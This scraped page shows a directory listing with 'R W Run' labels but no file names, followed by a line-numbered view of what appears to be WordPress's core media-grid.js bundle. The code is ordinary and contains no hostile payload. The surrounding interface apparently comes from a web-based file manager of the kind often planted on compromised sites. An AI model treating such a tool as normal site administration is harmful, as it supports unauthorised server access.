run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2024-06-24 17:16:40
R W Run
17.38 KB
2024-09-04 11:48:32
R W Run
10.48 KB
2024-09-04 11:48:32
R W Run
10.32 KB
2020-12-01 03:44:05
R W Run
8.08 KB
2022-04-08 20:07:18
R W Run
29.03 KB
2025-04-16 02:33:33
R W Run
12.75 KB
2023-02-02 16:36:32
R W Run
85.58 KB
2024-11-13 19:02:13
R W Run
30.81 KB
2025-04-16 02:33:33
R W Run
33.26 KB
2022-10-04 15:55:23
R W Run
15.88 KB
2022-10-04 15:55:23
R W Run
35.48 KB
2012-11-17 15:11:29
R W Run
23.19 KB
2025-04-16 02:33:33
R W Run
19.3 KB
2024-11-13 19:02:13
R W Run
10.03 KB
2024-11-13 19:02:13
R W Run
32.29 KB
2023-05-20 10:19:23
R W Run
14.75 KB
2023-02-02 16:36:32
R W Run
14.79 KB
2024-09-04 11:48:32
R W Run
10.55 KB
2023-02-02 16:36:32
R W Run
13.74 KB
2020-06-25 12:43:07
R W Run
10.67 KB
2023-02-02 16:36:32
R W Run
21.75 KB
2020-07-27 23:35:02
R W Run
11.99 KB
2025-04-16 02:33:33
R W Run
29.79 KB
2020-06-20 12:58:10
R W Run
14.71 KB
2025-04-16 02:33:33
R W Run
35 KB
2025-12-03 06:22:56
R W Run
17.83 KB
2025-12-03 06:22:56
R W Run
39.63 KB
2024-09-04 11:48:32
R W Run
17.52 KB
2025-04-16 02:33:33
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
9.58 KB
2025-12-03 06:22:56
R W Run
30.57 KB
2024-11-13 19:02:13
R W Run
12.89 KB
2024-11-13 19:02:13
R W Run
14.13 KB
2022-01-03 15:03:18
R W Run
8.54 KB
2022-04-08 20:07:18
R W Run
8.75 KB
2019-12-10 01:03:02
R W Run
12.47 KB
2023-08-11 18:18:26
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
7.11 KB
2025-12-03 06:22:56
R W Run
7.11 KB
2025-12-03 06:22:56
R W Run
30.65 KB
2020-06-13 18:53:27
R W Run
32.32 KB
2023-10-09 21:31:27
R W Run
16.62 KB
2023-10-09 21:31:27
R W Run
31.32 KB
2025-04-16 02:33:33
R W Run
18.85 KB
2025-04-16 02:33:33
R W Run
35.51 KB
2020-07-27 23:35:02
R W Run
17.71 KB
2023-02-02 16:36:32
R W Run
33.23 KB
2025-12-03 06:22:56
R W Run
20.06 KB
2025-12-03 06:22:56
R W Run
49.66 KB
2025-04-16 02:33:33
R W Run
20.05 KB
2025-04-16 02:33:33
R W Run
274.07 KB
2025-12-03 06:22:56
R W Run
115.25 KB
2025-12-03 06:22:56
R W Run
29.15 KB
2021-09-08 23:29:58
R W Run
17.95 KB
2023-02-02 16:36:32
R W Run
17.58 KB
2020-01-29 00:45:18
R W Run
9.66 KB
2022-09-23 19:55:30
R W Run
7.08 KB
2025-12-03 06:22:56
R W Run
7.11 KB
2025-12-03 06:22:56
R W Run
11.93 KB
2025-12-03 06:22:56
R W Run
10.29 KB
2022-04-08 20:07:18
R W Run
43.4 KB
2025-12-03 06:22:56
R W Run
26.47 KB
2025-12-03 06:22:56
R W Run
74.2 KB
2024-11-13 19:02:13
R W Run
25.54 KB
2025-04-16 02:33:33
R W Run
11.63 KB
2020-01-29 00:45:18
R W Run
8.9 KB
2022-09-23 19:55:30
R W Run
10.89 KB
2025-04-16 02:33:33
R W Run
9.59 KB
2025-04-16 02:33:33
R W Run
52.96 KB
2023-01-10 09:30:13
R W Run
21.42 KB
2023-02-02 16:36:32
R W Run
11.19 KB
2021-03-18 19:01:03
R W Run
8.7 KB
2021-03-18 19:01:03
R W Run
21.96 KB
2024-09-04 11:48:32
R W Run
10.05 KB
2022-04-08 20:07:18
R W Run
17.3 KB
2021-04-10 12:40:05
R W Run
11.42 KB
2023-02-02 16:36:32
R W Run
13.7 KB
2021-11-11 02:49:18
R W Run
10.18 KB
2022-04-08 20:07:18
R W Run
10.22 KB
2023-08-10 19:49:17
R W Run
8.3 KB
2023-08-10 19:49:17
R W Run
19.97 KB
2025-12-03 06:22:56
R W Run
9.9 KB
2025-12-03 06:22:56
R W Run
29.31 KB
2025-12-03 06:22:56
R W Run
15.66 KB
2025-12-03 06:22:56
R W Run
9.87 KB
2025-12-03 06:22:56
R W Run
8.02 KB
2018-06-28 02:30:15
R W Run
7.66 KB
2021-01-06 15:29:24
R W Run
31.8 KB
2023-06-24 14:32:20
R W Run
14.42 KB
2023-06-24 14:32:20
R W Run
17.07 KB
2021-02-16 20:25:03
R W Run
10.61 KB
2022-04-08 20:07:18
R W Run
8.37 KB
2025-12-03 06:22:56
R W Run
7.51 KB
2025-12-03 06:22:56
R W Run
11.65 KB
2022-09-20 03:52:10
R W Run
8.47 KB
2022-09-20 03:52:10
R W Run
7.63 KB
2023-01-24 21:13:12
R W Run
7.35 KB
2023-01-24 21:13:12
R W Run
27.82 KB
2025-04-16 02:33:33
R W Run
18.13 KB
2024-11-13 19:02:13
R W Run
7.88 KB
2018-06-28 02:30:15
R W Run
7.42 KB
2021-02-23 16:45:19
R W Run
810.04 KB
2019-10-26 00:17:07
R W Run
error_log
📄media-grid.js
1/******/ (() => { // webpackBootstrap
2/******/ var __webpack_modules__ = ({
3
4/***/ 659:
5/***/ ((module) => {
6
7var l10n = wp.media.view.l10n,
8 EditAttachmentMetadata;
9
10/**
11 * wp.media.controller.EditAttachmentMetadata
12 *
13 * A state for editing an attachment's metadata.
14 *
15 * @memberOf wp.media.controller
16 *
17 * @class
18 * @augments wp.media.controller.State
19 * @augments Backbone.Model
20 */
21EditAttachmentMetadata = wp.media.controller.State.extend(/** @lends wp.media.controller.EditAttachmentMetadata.prototype */{
22 defaults: {
23 id: 'edit-attachment',
24 // Title string passed to the frame's title region view.
25 title: l10n.attachmentDetails,
26 // Region mode defaults.
27 content: 'edit-metadata',
28 menu: false,
29 toolbar: false,
30 router: false
31 }
32});
33
34module.exports = EditAttachmentMetadata;
35
36
37/***/ }),
38
39/***/ 682:
40/***/ ((module) => {
41
42
43var Button = wp.media.view.Button,
44 l10n = wp.media.view.l10n,
45 SelectModeToggle;
46
47/**
48 * wp.media.view.SelectModeToggleButton
49 *
50 * @memberOf wp.media.view
51 *
52 * @class
53 * @augments wp.media.view.Button
54 * @augments wp.media.View
55 * @augments wp.Backbone.View
56 * @augments Backbone.View
57 */
58SelectModeToggle = Button.extend(/** @lends wp.media.view.SelectModeToggle.prototype */{
59 initialize: function() {
60 _.defaults( this.options, {
61 size : ''
62 } );
63
64 Button.prototype.initialize.apply( this, arguments );
65 this.controller.on( 'select:activate select:deactivate', this.toggleBulkEditHandler, this );
66 this.controller.on( 'selection:action:done', this.back, this );
67 },
68
69 back: function () {
70 this.controller.deactivateMode( 'select' ).activateMode( 'edit' );
71 },
72
73 click: function() {
74 Button.prototype.click.apply( this, arguments );
75 if ( this.controller.isModeActive( 'select' ) ) {
76 this.back();
77 } else {
78 this.controller.deactivateMode( 'edit' ).activateMode( 'select' );
79 }
80 },
81
82 render: function() {
83 Button.prototype.render.apply( this, arguments );
84 this.$el.addClass( 'select-mode-toggle-button' );
85 return this;
86 },
87
88 toggleBulkEditHandler: function() {
89 var toolbar = this.controller.content.get().toolbar, children;
90
91 children = toolbar.$( '.media-toolbar-secondary > *, .media-toolbar-primary > *' );
92
93 // @todo The Frame should be doing all of this.
94 if ( this.controller.isModeActive( 'select' ) ) {
95 this.model.set( {
96 size: 'large',
97 text: l10n.cancel
98 } );
99 children.not( '.spinner, .media-button' ).hide();
100 this.$el.show();
101 toolbar.$el.addClass( 'media-toolbar-mode-select' );
102 toolbar.$( '.delete-selected-button' ).removeClass( 'hidden' );
103 } else {
104 this.model.set( {
105 size: '',
106 text: l10n.bulkSelect
107 } );
108 this.controller.content.get().$el.removeClass( 'fixed' );
109 toolbar.$el.css( 'width', '' );
110 toolbar.$el.removeClass( 'media-toolbar-mode-select' );
111 toolbar.$( '.delete-selected-button' ).addClass( 'hidden' );
112 children.not( '.media-button' ).show();
113 this.controller.state().get( 'selection' ).reset();
114 }
115 }
116});
117
118module.exports = SelectModeToggle;
119
120
121/***/ }),
122
123/***/ 1003:
124/***/ ((module) => {
125
126var Frame = wp.media.view.Frame,
127 MediaFrame = wp.media.view.MediaFrame,
128
129 $ = jQuery,
130 EditAttachments;
131
132/**
133 * wp.media.view.MediaFrame.EditAttachments
134 *
135 * A frame for editing the details of a specific media item.
136 *
137 * Opens in a modal by default.
138 *
139 * Requires an attachment model to be passed in the options hash under `model`.
140 *
141 * @memberOf wp.media.view.MediaFrame
142 *
143 * @class
144 * @augments wp.media.view.Frame
145 * @augments wp.media.View
146 * @augments wp.Backbone.View
147 * @augments Backbone.View
148 * @mixes wp.media.controller.StateMachine
149 */
150EditAttachments = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.EditAttachments.prototype */{
151
152 className: 'edit-attachment-frame',
153 template: wp.template( 'edit-attachment-frame' ),
154 regions: [ 'title', 'content' ],
155
156 events: {
157 'click .left': 'previousMediaItem',
158 'click .right': 'nextMediaItem'
159 },
160
161 initialize: function() {
162 Frame.prototype.initialize.apply( this, arguments );
163
164 _.defaults( this.options, {
165 modal: true,
166 state: 'edit-attachment'
167 });
168
169 this.controller = this.options.controller;
170 this.gridRouter = this.controller.gridRouter;
171 this.library = this.options.library;
172
173 if ( this.options.model ) {
174 this.model = this.options.model;
175 }
176
177 this.bindHandlers();
178 this.createStates();
179 this.createModal();
180
181 this.title.mode( 'default' );
182 this.toggleNav();
183 },
184
185 bindHandlers: function() {
186 // Bind default title creation.
187 this.on( 'title:create:default', this.createTitle, this );
188
189 this.on( 'content:create:edit-metadata', this.editMetadataMode, this );
190 this.on( 'content:create:edit-image', this.editImageMode, this );
191 this.on( 'content:render:edit-image', this.editImageModeRender, this );
192 this.on( 'refresh', this.rerender, this );
193 this.on( 'close', this.detach );
194
195 this.bindModelHandlers();
196 this.listenTo( this.gridRouter, 'route:search', this.close, this );
197 },
198
199 bindModelHandlers: function() {
200 // Close the modal if the attachment is deleted.
201 this.listenTo( this.model, 'change:status destroy', this.close, this );
202 },
203
204 createModal: function() {
205 // Initialize modal container view.
206 if ( this.options.modal ) {
207 this.modal = new wp.media.view.Modal({
208 controller: this,
209 title: this.options.title,
210 hasCloseButton: false
211 });
212
213 this.modal.on( 'open', _.bind( function () {
214 $( 'body' ).on( 'keydown.media-modal', _.bind( this.keyEvent, this ) );
215 }, this ) );
216
217 // Completely destroy the modal DOM element when closing it.
218 this.modal.on( 'close', _.bind( function() {
219 // Remove the keydown event.
220 $( 'body' ).off( 'keydown.media-modal' );
221 // Move focus back to the original item in the grid if possible.
222 $( 'li.attachment[data-id="' + this.model.get( 'id' ) +'"]' ).trigger( 'focus' );
223 this.resetRoute();
224 }, this ) );
225
226 // Set this frame as the modal's content.
227 this.modal.content( this );
228 this.modal.open();
229 }
230 },
231
232 /**
233 * Add the default states to the frame.
234 */
235 createStates: function() {
236 this.states.add([
237 new wp.media.controller.EditAttachmentMetadata({
238 model: this.model,
239 library: this.library
240 })
241 ]);
242 },
243
244 /**
245 * Content region rendering callback for the `edit-metadata` mode.
246 *
247 * @param {Object} contentRegion Basic object with a `view` property, which
248 * should be set with the proper region view.
249 */
250 editMetadataMode: function( contentRegion ) {
251 contentRegion.view = new wp.media.view.Attachment.Details.TwoColumn({
252 controller: this,
253 model: this.model
254 });
255
256 /**
257 * Attach a subview to display fields added via the
258 * `attachment_fields_to_edit` filter.
259 */
260 contentRegion.view.views.set( '.attachment-compat', new wp.media.view.AttachmentCompat({
261 controller: this,
262 model: this.model
263 }) );
264
265 // Update browser url when navigating media details, except on load.
266 if ( this.model && ! this.model.get( 'skipHistory' ) ) {
267 this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id ) );
268 }
269 },
270
271 /**
272 * Render the EditImage view into the frame's content region.
273 *
274 * @param {Object} contentRegion Basic object with a `view` property, which
275 * should be set with the proper region view.
276 */
277 editImageMode: function( contentRegion ) {
278 var editImageController = new wp.media.controller.EditImage( {
279 model: this.model,
280 frame: this
281 } );
282 // Noop some methods.
283 editImageController._toolbar = function() {};
284 editImageController._router = function() {};
285 editImageController._menu = function() {};
286
287 contentRegion.view = new wp.media.view.EditImage.Details( {
288 model: this.model,
289 frame: this,
290 controller: editImageController
291 } );
292
293 this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id + '&mode=edit' ) );
294
295 },
296
297 editImageModeRender: function( view ) {
298 view.on( 'ready', view.loadEditor );
299 },
300
301 toggleNav: function() {
302 this.$( '.left' ).prop( 'disabled', ! this.hasPrevious() );
303 this.$( '.right' ).prop( 'disabled', ! this.hasNext() );
304 },
305
306 /**
307 * Rerender the view.
308 */
309 rerender: function( model ) {
310 this.stopListening( this.model );
311
312 this.model = model;
313
314 this.bindModelHandlers();
315
316 // Only rerender the `content` region.
317 if ( this.content.mode() !== 'edit-metadata' ) {
318 this.content.mode( 'edit-metadata' );
319 } else {
320 this.content.render();
321 }
322
323 this.toggleNav();
324 },
325
326 /**
327 * Click handler to switch to the previous media item.
328 */
329 previousMediaItem: function() {
330 if ( ! this.hasPrevious() ) {
331 return;
332 }
333
334 this.trigger( 'refresh', this.library.at( this.getCurrentIndex() - 1 ) );
335 // Move focus to the Previous button. When there are no more items, to the Next button.
336 this.focusNavButton( this.hasPrevious() ? '.left' : '.right' );
337 },
338
339 /**
340 * Click handler to switch to the next media item.
341 */
342 nextMediaItem: function() {
343 if ( ! this.hasNext() ) {
344 return;
345 }
346
347 this.trigger( 'refresh', this.library.at( this.getCurrentIndex() + 1 ) );
348 // Move focus to the Next button. When there are no more items, to the Previous button.
349 this.focusNavButton( this.hasNext() ? '.right' : '.left' );
350 },
351
352 /**
353 * Set focus to the navigation buttons depending on the browsing direction.
354 *
355 * @since 5.3.0
356 *
357 * @param {string} which A CSS selector to target the button to focus.
358 */
359 focusNavButton: function( which ) {
360 $( which ).trigger( 'focus' );
361 },
362
363 getCurrentIndex: function() {
364 return this.library.indexOf( this.model );
365 },
366
367 hasNext: function() {
368 return ( this.getCurrentIndex() + 1 ) < this.library.length;
369 },
370
371 hasPrevious: function() {
372 return ( this.getCurrentIndex() - 1 ) > -1;
373 },
374 /**
375 * Respond to the keyboard events: right arrow, left arrow, except when
376 * focus is in a textarea or input field.
377 */
378 keyEvent: function( event ) {
379 if ( ( 'INPUT' === event.target.nodeName || 'TEXTAREA' === event.target.nodeName ) && ! event.target.disabled ) {
380 return;
381 }
382
383 // Return if Ctrl + Shift or Shift key pressed
384 if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
385 return;
386 }
387
388 // The right arrow key.
389 if ( 39 === event.keyCode ) {
390 this.nextMediaItem();
391 }
392 // The left arrow key.
393 if ( 37 === event.keyCode ) {
394 this.previousMediaItem();
395 }
396 },
397
398 resetRoute: function() {
399 var searchTerm = this.controller.browserView.toolbar.get( 'search' ).$el.val(),
400 url = '' !== searchTerm ? '?search=' + searchTerm : '';
401 this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
402 }
403});
404
405module.exports = EditAttachments;
406
407
408/***/ }),
409
410/***/ 1312:
411/***/ ((module) => {
412
413var Details = wp.media.view.Attachment.Details,
414 TwoColumn;
415
416/**
417 * wp.media.view.Attachment.Details.TwoColumn
418 *
419 * A similar view to media.view.Attachment.Details
420 * for use in the Edit Attachment modal.
421 *
422 * @memberOf wp.media.view.Attachment.Details
423 *
424 * @class
425 * @augments wp.media.view.Attachment.Details
426 * @augments wp.media.view.Attachment
427 * @augments wp.media.View
428 * @augments wp.Backbone.View
429 * @augments Backbone.View
430 */
431TwoColumn = Details.extend(/** @lends wp.media.view.Attachment.Details.TwoColumn.prototype */{
432 template: wp.template( 'attachment-details-two-column' ),
433
434 initialize: function() {
435 this.controller.on( 'content:activate:edit-details', _.bind( this.editAttachment, this ) );
436
437 Details.prototype.initialize.apply( this, arguments );
438 },
439
440 editAttachment: function( event ) {
441 if ( event ) {
442 event.preventDefault();
443 }
444 this.controller.content.mode( 'edit-image' );
445 },
446
447 /**
448 * Noop this from parent class, doesn't apply here.
449 */
450 toggleSelectionHandler: function() {}
451
452});
453
454module.exports = TwoColumn;
455
456
457/***/ }),
458
459/***/ 2429:
460/***/ ((module) => {
461
462/**
463 * wp.media.view.MediaFrame.Manage.Router
464 *
465 * A router for handling the browser history and application state.
466 *
467 * @memberOf wp.media.view.MediaFrame.Manage
468 *
469 * @class
470 * @augments Backbone.Router
471 */
472var Router = Backbone.Router.extend(/** @lends wp.media.view.MediaFrame.Manage.Router.prototype */{
473 routes: {
474 'upload.php?item=:slug&mode=edit': 'editItem',
475 'upload.php?item=:slug': 'showItem',
476 'upload.php?search=:query': 'search',
477 'upload.php': 'reset'
478 },
479
480 // Map routes against the page URL.
481 baseUrl: function( url ) {
482 return 'upload.php' + url;
483 },
484
485 reset: function() {
486 var frame = wp.media.frames.edit;
487
488 if ( frame ) {
489 frame.close();
490 }
491 },
492
493 // Respond to the search route by filling the search field and triggering the input event.
494 search: function( query ) {
495 jQuery( '#media-search-input' ).val( query ).trigger( 'input' );
496 },
497
498 // Show the modal with a specific item.
499 showItem: function( query ) {
500 var media = wp.media,
501 frame = media.frames.browse,
502 library = frame.state().get('library'),
503 item;
504
505 // Trigger the media frame to open the correct item.
506 item = library.findWhere( { id: parseInt( query, 10 ) } );
507
508 if ( item ) {
509 item.set( 'skipHistory', true );
510 frame.trigger( 'edit:attachment', item );
511 } else {
512 item = media.attachment( query );
513 frame.listenTo( item, 'change', function( model ) {
514 frame.stopListening( item );
515 frame.trigger( 'edit:attachment', model );
516 } );
517 item.fetch();
518 }
519 },
520
521 // Show the modal in edit mode with a specific item.
522 editItem: function( query ) {
523 this.showItem( query );
524 wp.media.frames.edit.content.mode( 'edit-details' );
525 }
526});
527
528module.exports = Router;
529
530
531/***/ }),
532
533/***/ 5806:
534/***/ ((module) => {
535
536var Button = wp.media.view.Button,
537 DeleteSelected = wp.media.view.DeleteSelectedButton,
538 DeleteSelectedPermanently;
539
540/**
541 * wp.media.view.DeleteSelectedPermanentlyButton
542 *
543 * When MEDIA_TRASH is true, a button that handles bulk Delete Permanently logic
544 *
545 * @memberOf wp.media.view
546 *
547 * @class
548 * @augments wp.media.view.DeleteSelectedButton
549 * @augments wp.media.view.Button
550 * @augments wp.media.View
551 * @augments wp.Backbone.View
552 * @augments Backbone.View
553 */
554DeleteSelectedPermanently = DeleteSelected.extend(/** @lends wp.media.view.DeleteSelectedPermanentlyButton.prototype */{
555 initialize: function() {
556 DeleteSelected.prototype.initialize.apply( this, arguments );
557 this.controller.on( 'select:activate', this.selectActivate, this );
558 this.controller.on( 'select:deactivate', this.selectDeactivate, this );
559 },
560
561 filterChange: function( model ) {
562 this.canShow = ( 'trash' === model.get( 'status' ) );
563 },
564
565 selectActivate: function() {
566 this.toggleDisabled();
567 this.$el.toggleClass( 'hidden', ! this.canShow );
568 },
569
570 selectDeactivate: function() {
571 this.toggleDisabled();
572 this.$el.addClass( 'hidden' );
573 },
574
575 render: function() {
576 Button.prototype.render.apply( this, arguments );
577 this.selectActivate();
578 return this;
579 }
580});
581
582module.exports = DeleteSelectedPermanently;
583
584
585/***/ }),
586
587/***/ 6606:
588/***/ ((module) => {
589
590var Button = wp.media.view.Button,
591 l10n = wp.media.view.l10n,
592 DeleteSelected;
593
594/**
595 * wp.media.view.DeleteSelectedButton
596 *
597 * A button that handles bulk Delete/Trash logic
598 *
599 * @memberOf wp.media.view
600 *
601 * @class
602 * @augments wp.media.view.Button
603 * @augments wp.media.View
604 * @augments wp.Backbone.View
605 * @augments Backbone.View
606 */
607DeleteSelected = Button.extend(/** @lends wp.media.view.DeleteSelectedButton.prototype */{
608 initialize: function() {
609 Button.prototype.initialize.apply( this, arguments );
610 if ( this.options.filters ) {
611 this.options.filters.model.on( 'change', this.filterChange, this );
612 }
613 this.controller.on( 'selection:toggle', this.toggleDisabled, this );
614 this.controller.on( 'select:activate', this.toggleDisabled, this );
615 },
616
617 filterChange: function( model ) {
618 if ( 'trash' === model.get( 'status' ) ) {
619 this.model.set( 'text', l10n.restoreSelected );
620 } else if ( wp.media.view.settings.mediaTrash ) {
621 this.model.set( 'text', l10n.trashSelected );
622 } else {
623 this.model.set( 'text', l10n.deletePermanently );
624 }
625 },
626
627 toggleDisabled: function() {
628 this.model.set( 'disabled', ! this.controller.state().get( 'selection' ).length );
629 },
630
631 render: function() {
632 Button.prototype.render.apply( this, arguments );
633 if ( this.controller.isModeActive( 'select' ) ) {
634 this.$el.addClass( 'delete-selected-button' );
635 } else {
636 this.$el.addClass( 'delete-selected-button hidden' );
637 }
638 this.toggleDisabled();
639 return this;
640 }
641});
642
643module.exports = DeleteSelected;
644
645
646/***/ }),
647
648/***/ 8359:
649/***/ ((module) => {
650
651var MediaFrame = wp.media.view.MediaFrame,
652 Library = wp.media.controller.Library,
653
654 $ = Backbone.$,
655 Manage;
656
657/**
658 * wp.media.view.MediaFrame.Manage
659 *
660 * A generic management frame workflow.
661 *
662 * Used in the media grid view.
663 *
664 * @memberOf wp.media.view.MediaFrame
665 *
666 * @class
667 * @augments wp.media.view.MediaFrame
668 * @augments wp.media.view.Frame
669 * @augments wp.media.View
670 * @augments wp.Backbone.View
671 * @augments Backbone.View
672 * @mixes wp.media.controller.StateMachine
673 */
674Manage = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Manage.prototype */{
675 /**
676 * @constructs
677 */
678 initialize: function() {
679 _.defaults( this.options, {
680 title: '',
681 modal: false,
682 selection: [],
683 library: {}, // Options hash for the query to the media library.
684 multiple: 'add',
685 state: 'library',
686 uploader: true,
687 mode: [ 'grid', 'edit' ]
688 });
689
690 this.$body = $( document.body );
691 this.$window = $( window );
692 this.$adminBar = $( '#wpadminbar' );
693 // Store the Add New button for later reuse in wp.media.view.UploaderInline.
694 this.$uploaderToggler = $( '.page-title-action' )
695 .attr( 'aria-expanded', 'false' )
696 .on( 'click', _.bind( this.addNewClickHandler, this ) );
697
698 this.$window.on( 'scroll resize', _.debounce( _.bind( this.fixPosition, this ), 15 ) );
699
700 // Ensure core and media grid view UI is enabled.
701 this.$el.addClass('wp-core-ui');
702
703 // Force the uploader off if the upload limit has been exceeded or
704 // if the browser isn't supported.
705 if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
706 this.options.uploader = false;
707 }
708
709 // Initialize a window-wide uploader.
710 if ( this.options.uploader ) {
711 this.uploader = new wp.media.view.UploaderWindow({
712 controller: this,
713 uploader: {
714 dropzone: document.body,
715 container: document.body
716 }
717 }).render();
718 this.uploader.ready();
719 $('body').append( this.uploader.el );
720
721 this.options.uploader = false;
722 }
723
724 this.gridRouter = new wp.media.view.MediaFrame.Manage.Router();
725
726 // Call 'initialize' directly on the parent class.
727 MediaFrame.prototype.initialize.apply( this, arguments );
728
729 // Append the frame view directly the supplied container.
730 this.$el.appendTo( this.options.container );
731
732 this.createStates();
733 this.bindRegionModeHandlers();
734 this.render();
735 this.bindSearchHandler();
736
737 wp.media.frames.browse = this;
738 },
739
740 bindSearchHandler: function() {
741 var search = this.$( '#media-search-input' ),
742 searchView = this.browserView.toolbar.get( 'search' ).$el,
743 listMode = this.$( '.view-list' ),
744
745 input = _.throttle( function (e) {
746 var val = $( e.currentTarget ).val(),
747 url = '';
748
749 if ( val ) {
750 url += '?search=' + val;
751 this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
752 }
753 }, 1000 );
754
755 // Update the URL when entering search string (at most once per second).
756 search.on( 'input', _.bind( input, this ) );
757
758 this.gridRouter
759 .on( 'route:search', function () {
760 var href = window.location.href;
761 if ( href.indexOf( 'mode=' ) > -1 ) {
762 href = href.replace( /mode=[^&]+/g, 'mode=list' );
763 } else {
764 href += href.indexOf( '?' ) > -1 ? '&mode=list' : '?mode=list';
765 }
766 href = href.replace( 'search=', 's=' );
767 listMode.prop( 'href', href );
768 })
769 .on( 'route:reset', function() {
770 searchView.val( '' ).trigger( 'input' );
771 });
772 },
773
774 /**
775 * Create the default states for the frame.
776 */
777 createStates: function() {
778 var options = this.options;
779
780 if ( this.options.states ) {
781 return;
782 }
783
784 // Add the default states.
785 this.states.add([
786 new Library({
787 library: wp.media.query( options.library ),
788 multiple: options.multiple,
789 title: options.title,
790 content: 'browse',
791 toolbar: 'select',
792 contentUserSetting: false,
793 filterable: 'all',
794 autoSelect: false
795 })
796 ]);
797 },
798
799 /**
800 * Bind region mode activation events to proper handlers.
801 */
802 bindRegionModeHandlers: function() {
803 this.on( 'content:create:browse', this.browseContent, this );
804
805 // Handle a frame-level event for editing an attachment.
806 this.on( 'edit:attachment', this.openEditAttachmentModal, this );
807
808 this.on( 'select:activate', this.bindKeydown, this );
809 this.on( 'select:deactivate', this.unbindKeydown, this );
810 },
811
812 handleKeydown: function( e ) {
813 if ( 27 === e.which ) {
814 e.preventDefault();
815 this.deactivateMode( 'select' ).activateMode( 'edit' );
816 }
817 },
818
819 bindKeydown: function() {
820 this.$body.on( 'keydown.select', _.bind( this.handleKeydown, this ) );
821 },
822
823 unbindKeydown: function() {
824 this.$body.off( 'keydown.select' );
825 },
826
827 fixPosition: function() {
828 var $browser, $toolbar;
829 if ( ! this.isModeActive( 'select' ) ) {
830 return;
831 }
832
833 $browser = this.$('.attachments-browser');
834 $toolbar = $browser.find('.media-toolbar');
835
836 // Offset doesn't appear to take top margin into account, hence +16.
837 if ( ( $browser.offset().top + 16 ) < this.$window.scrollTop() + this.$adminBar.height() ) {
838 $browser.addClass( 'fixed' );
839 $toolbar.css('width', $browser.width() + 'px');
840 } else {
841 $browser.removeClass( 'fixed' );
842 $toolbar.css('width', '');
843 }
844 },
845
846 /**
847 * Click handler for the `Add New` button.
848 */
849 addNewClickHandler: function( event ) {
850 event.preventDefault();
851 this.trigger( 'toggle:upload:attachment' );
852
853 if ( this.uploader ) {
854 this.uploader.refresh();
855 }
856 },
857
858 /**
859 * Open the Edit Attachment modal.
860 */
861 openEditAttachmentModal: function( model ) {
862 // Create a new EditAttachment frame, passing along the library and the attachment model.
863 if ( wp.media.frames.edit ) {
864 wp.media.frames.edit.open().trigger( 'refresh', model );
865 } else {
866 wp.media.frames.edit = wp.media( {
867 frame: 'edit-attachments',
868 controller: this,
869 library: this.state().get('library'),
870 model: model
871 } );
872 }
873 },
874
875 /**
876 * Create an attachments browser view within the content region.
877 *
878 * @param {Object} contentRegion Basic object with a `view` property, which
879 * should be set with the proper region view.
880 * @this wp.media.controller.Region
881 */
882 browseContent: function( contentRegion ) {
883 var state = this.state();
884
885 // Browse our library of attachments.
886 this.browserView = contentRegion.view = new wp.media.view.AttachmentsBrowser({
887 controller: this,
888 collection: state.get('library'),
889 selection: state.get('selection'),
890 model: state,
891 sortable: state.get('sortable'),
892 search: state.get('searchable'),
893 filters: state.get('filterable'),
894 date: state.get('date'),
895 display: state.get('displaySettings'),
896 dragInfo: state.get('dragInfo'),
897 sidebar: 'errors',
898
899 suggestedWidth: state.get('suggestedWidth'),
900 suggestedHeight: state.get('suggestedHeight'),
901
902 AttachmentView: state.get('AttachmentView'),
903
904 scrollElement: document
905 });
906 this.browserView.on( 'ready', _.bind( this.bindDeferred, this ) );
907
908 this.errors = wp.Uploader.errors;
909 this.errors.on( 'add remove reset', this.sidebarVisibility, this );
910 },
911
912 sidebarVisibility: function() {
913 this.browserView.$( '.media-sidebar' ).toggle( !! this.errors.length );
914 },
915
916 bindDeferred: function() {
917 if ( ! this.browserView.dfd ) {
918 return;
919 }
920 this.browserView.dfd.done( _.bind( this.startHistory, this ) );
921 },
922
923 startHistory: function() {
924 // Verify pushState support and activate.
925 if ( window.history && window.history.pushState ) {
926 if ( Backbone.History.started ) {
927 Backbone.history.stop();
928 }
929 Backbone.history.start( {
930 root: window._wpMediaGridSettings.adminUrl,
931 pushState: true
932 } );
933 }
934 }
935});
936
937module.exports = Manage;
938
939
940/***/ }),
941
942/***/ 8521:
943/***/ ((module) => {
944
945var View = wp.media.View,
946 EditImage = wp.media.view.EditImage,
947 Details;
948
949/**
950 * wp.media.view.EditImage.Details
951 *
952 * @memberOf wp.media.view.EditImage
953 *
954 * @class
955 * @augments wp.media.view.EditImage
956 * @augments wp.media.View
957 * @augments wp.Backbone.View
958 * @augments Backbone.View
959 */
960Details = EditImage.extend(/** @lends wp.media.view.EditImage.Details.prototype */{
961 initialize: function( options ) {
962 this.editor = window.imageEdit;
963 this.frame = options.frame;
964 this.controller = options.controller;
965 View.prototype.initialize.apply( this, arguments );
966 },
967
968 back: function() {
969 this.frame.content.mode( 'edit-metadata' );
970 },
971
972 save: function() {
973 this.model.fetch().done( _.bind( function() {
974 this.frame.content.mode( 'edit-metadata' );
975 }, this ) );
976 }
977});
978
979module.exports = Details;
980
981
982/***/ })
983
984/******/ });
985/************************************************************************/
986/******/ // The module cache
987/******/ var __webpack_module_cache__ = {};
988/******/
989/******/ // The require function
990/******/ function __webpack_require__(moduleId) {
991/******/ // Check if module is in cache
992/******/ var cachedModule = __webpack_module_cache__[moduleId];
993/******/ if (cachedModule !== undefined) {
994/******/ return cachedModule.exports;
995/******/ }
996/******/ // Create a new module (and put it into the cache)
